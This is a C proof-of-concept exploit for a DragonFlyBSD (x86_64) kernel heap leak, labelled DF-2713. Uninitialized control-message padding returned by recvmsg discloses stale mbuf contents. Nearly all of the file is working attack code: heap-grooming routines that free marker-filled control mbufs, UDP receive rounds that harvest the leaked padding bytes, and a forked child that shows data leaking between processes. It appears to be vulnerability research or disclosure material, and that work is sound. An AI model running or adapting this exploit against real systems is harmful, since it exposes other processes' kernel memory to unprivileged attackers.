/*
 * DF-2713 - Uninitialized cmsg tail-padding kernel heap leak via recvmsg(2)
 * on DragonFlyBSD (x86_64).
 *
 * sbcreatecontrol() (sys/kern/uipc_sockbuf.c) builds kernel control
 * messages with m->m_len = CMSG_SPACE(size) but only initializes
 * CMSG_LEN(size) bytes (aligned cmsghdr + data).  The alignment padding
 * bytes between CMSG_LEN(size) and CMSG_SPACE(size) retain stale contents
 * of the recycled mbuf.  sys_recvmsg() (sys/kern/uipc_syscalls.c:1172-1192)
 * copies out m->m_len bytes per control mbuf, padding included.
 *
 * On x86_64 (8-byte alignment, sizeof(cmsghdr)=12, hdr aligned to 16):
 *   IP_RECVTTL   data=1  -> 7 pad bytes per packet
 *   IP_RECVTOS   data=1  -> 7 pad bytes
 *   IP_RECVDSTADDR data=4 -> 4 pad bytes
 *
 * Phases:
 *   A: baseline - count non-zero / varying pad bytes across runs
 *   B: same-process groom - churn AF_UNIX dgram mbufs filled with 0xCC,
 *      then receive UDP + control; count 0xCC bytes landing in the pad
 *   C: cross-process groom - fork()ed child churns 0x5A marker mbufs on
 *      its own sockets; parent counts 0x5A bytes in its cmsg padding
 *      (proof that ANOTHER process's freed heap data is disclosed)
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define ITERS     300
#define GROOM_MSG 48		/* marker msgs per iteration */
#define GROOM_LEN 160		/* bytes; <= MLEN so groom uses PLAIN mbufs */
#define CTLBUF    512
#define UDPLEN    1200		/* >= MINCLSIZE: UDP packet uses a cluster,
				 * so it does NOT consume plain mbufs from
				 * the same objcache magazine the control
				 * mbufs come from */

static unsigned char ctlbuf[CTLBUF];
static unsigned char payload[UDPLEN];

static int dump_hit = 0;

static void
dump_ctl(void)
{
	int i, j;

	printf(">>> MARKER HIT - full control buffer (0x00-0x40):\n");
	for (i = 0; i < 64; i += 16) {
		printf("    +%02x: ", i);
		for (j = 0; j < 16; j++)
			printf("%02x ", ctlbuf[i + j]);
		printf("\n");
	}
}

struct padstats {
	unsigned long pad_bytes;	/* total padding bytes seen */
	unsigned long nonzero;		/* non-zero pad bytes */
	unsigned long cc;		/* 0xCC marker bytes (phase B) */
	unsigned long z5;		/* 0x5A marker bytes (phase C) */
	unsigned char sample[64];	/* first non-trivial pad sample */
	int sample_len;
};

static void
walk_pads(struct msghdr *msg, struct padstats *st)
{
	struct cmsghdr *cm;
	unsigned char *base = (unsigned char *)msg->msg_control;

	for (cm = CMSG_FIRSTHDR(msg); cm != NULL; cm = CMSG_NXTHDR(msg, cm)) {
		size_t datalen, len_end, space_end;
		unsigned char *p;
		size_t i, n;

		if (cm->cmsg_len < CMSG_LEN(0))
			break;
		datalen = cm->cmsg_len - CMSG_LEN(0);
		len_end = CMSG_LEN(datalen);
		space_end = CMSG_SPACE(datalen);
		if (space_end <= len_end)
			continue;
		if ((unsigned char *)cm + space_end > base + CTLBUF)
			break;

		p = (unsigned char *)cm + len_end;
		n = space_end - len_end;
		for (i = 0; i < n; i++) {
			st->pad_bytes++;
			if (p[i])
				st->nonzero++;
			if (p[i] == 0xCC)
				st->cc++;
			if (p[i] == 0x5A)
				st->z5++;
		}
		if (st->sample_len == 0 && n > 0) {
			size_t cp = n < sizeof(st->sample) ? n : sizeof(st->sample);
			memcpy(st->sample, p, cp);
			st->sample_len = cp;
		}
		if (!dump_hit && n > 0) {
			for (i = 0; i < (int)n; i++) {
				if (p[i] == 0xCC || p[i] == 0x5A) {
					dump_hit = 1;
					dump_ctl();
					break;
				}
			}
		}
	}
}

static void
udp_round(int rx, int tx, struct sockaddr_in *dst, int with_ctl,
	  struct padstats *st)
{
	struct msghdr msg;
	struct iovec iov;
	ssize_t n;

	if (sendto(tx, payload, sizeof(payload), 0,
	    (struct sockaddr *)dst, sizeof(*dst)) < 0) {
		perror("sendto");
		exit(1);
	}
	memset(&msg, 0, sizeof(msg));
	iov.iov_base = payload;
	iov.iov_len = sizeof(payload);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	if (with_ctl) {
		msg.msg_control = ctlbuf;
		msg.msg_controllen = CTLBUF;
	}
	n = recvmsg(rx, &msg, 0);
	if (n < 0) {
		perror("recvmsg");
		exit(1);
	}
	if (with_ctl && st)
		walk_pads(&msg, st);
}

/*
 * Groom primitive: a sendmsg(2) with a control buffer allocates a PLAIN
 * m_get(MT_CONTROL) mbuf (same objcache as the receive-path control mbufs
 * built by sbcreatecontrol()), copies our marker bytes into m_dat[0..40),
 * and - because the crafted cmsg header is invalid - unp_internalize()
 * rejects it with EINVAL and sosend() frees the mbuf (uipc_socket.c:1240).
 * Result: a marker-carrying plain mbuf at the top of the mbuf_cache
 * magazine, ready to be popped by the next sbcreatecontrol().
 */
static void
groom_ctl(int s, unsigned char marker)
{
	static unsigned char cbuf[40];
	struct msghdr m;
	struct iovec iov;
	char b[1];
	int i;

	memset(cbuf, marker, sizeof(cbuf));
	for (i = 0; i < GROOM_MSG; i++) {
		memset(&m, 0, sizeof(m));
		iov.iov_base = b;
		iov.iov_len = 1;
		m.msg_iov = &iov;
		m.msg_iovlen = 1;
		m.msg_control = cbuf;
		m.msg_controllen = sizeof(cbuf);
		if (sendmsg(s, &m, 0) < 0 && errno != EINVAL) {
			perror("groom sendmsg");
			exit(1);
		}
	}
}

static void
groom_ctl_loop(int s, unsigned char marker, int iters)
{
	int i;
	for (i = 0; i < iters; i++)
		groom_ctl(s, marker);
}

static void
hexdump(const unsigned char *p, int n)
{
	int i;
	for (i = 0; i < n; i++)
		printf("%02x ", p[i]);
}

int
main(void)
{
	struct sockaddr_in dst;
	int rx, tx, sv[2];
	int run, i, pid_stat;
	struct padstats st;

	memset(payload, 0x41, sizeof(payload));

	rx = socket(AF_INET, SOCK_DGRAM, 0);
	tx = socket(AF_INET, SOCK_DGRAM, 0);
	if (rx < 0 || tx < 0) { perror("socket"); exit(1); }

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(31337);
	dst.sin_addr.s_addr = inet_addr("127.0.0.1");
	if (bind(rx, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
		perror("bind");
		exit(1);
	}
	{
		int one = 1, ttl = 64, tos = 0x10;
		if (setsockopt(rx, IPPROTO_IP, IP_RECVTTL, &ttl, sizeof(ttl)))
			perror("IP_RECVTTL");
		if (setsockopt(rx, IPPROTO_IP, IP_RECVTOS, &tos, sizeof(tos)))
			perror("IP_RECVTOS");
		if (setsockopt(rx, IPPROTO_IP, IP_RECVDSTADDR, &one, sizeof(one)))
			perror("IP_RECVDSTADDR");
	}

	/* Phase A: baseline variance */
	printf("=== Phase A: baseline (no grooming) ===\n");
	for (run = 0; run < 3; run++) {
		memset(&st, 0, sizeof(st));
		for (i = 0; i < ITERS; i++)
			udp_round(rx, tx, &dst, 1, &st);
		printf("run %d: pad_bytes=%lu nonzero=%lu "
		    "(cc=%lu z5=%lu) sample: ", run,
		    st.pad_bytes, st.nonzero, st.cc, st.z5);
		hexdump(st.sample, st.sample_len);
		printf("\n");
	}

	/* Phase B: same-process marker groom */
	printf("=== Phase B: same-process 0xCC groom ===\n");
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0) {
		perror("socketpair");
		exit(1);
	}
	for (run = 0; run < 3; run++) {
		memset(&st, 0, sizeof(st));
		for (i = 0; i < ITERS; i++) {
			groom_ctl(sv[0], 0xCC);
			udp_round(rx, tx, &dst, 1, &st);
		}
		printf("run %d: pad_bytes=%lu nonzero=%lu MARKER(0xCC)=%lu "
		    "sample: ", run, st.pad_bytes, st.nonzero, st.cc);
		hexdump(st.sample, st.sample_len);
		printf("\n");
	}

	/* Phase C: cross-process marker groom */
	printf("=== Phase C: cross-process 0x5A groom ===\n");
	fflush(stdout);
	pid_stat = 0;
	{
		int sv2[2];
		pid_t pid;

		if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv2) < 0) {
			perror("socketpair2");
			exit(1);
		}
		pid = fork();
		if (pid == 0) {
			/* child: churn mbufs with 0x5A on its own sockets */
			int j;
			for (j = 0; j < ITERS * 20; j++)
				groom_ctl(sv2[0], 0x5A);
			_exit(0);
		}
		for (run = 0; run < 3; run++) {
			memset(&st, 0, sizeof(st));
			for (i = 0; i < ITERS; i++)
				udp_round(rx, tx, &dst, 1, &st);
			printf("run %d: pad_bytes=%lu nonzero=%lu "
			    "XPROC-MARKER(0x5A)=%lu sample: ", run,
			    st.pad_bytes, st.nonzero, st.z5);
			hexdump(st.sample, st.sample_len);
			printf("\n");
			fflush(stdout);
		}
		kill(pid, SIGKILL);
		waitpid(pid, &pid_stat, 0);
	}

	printf("done\n");
	return 0;
}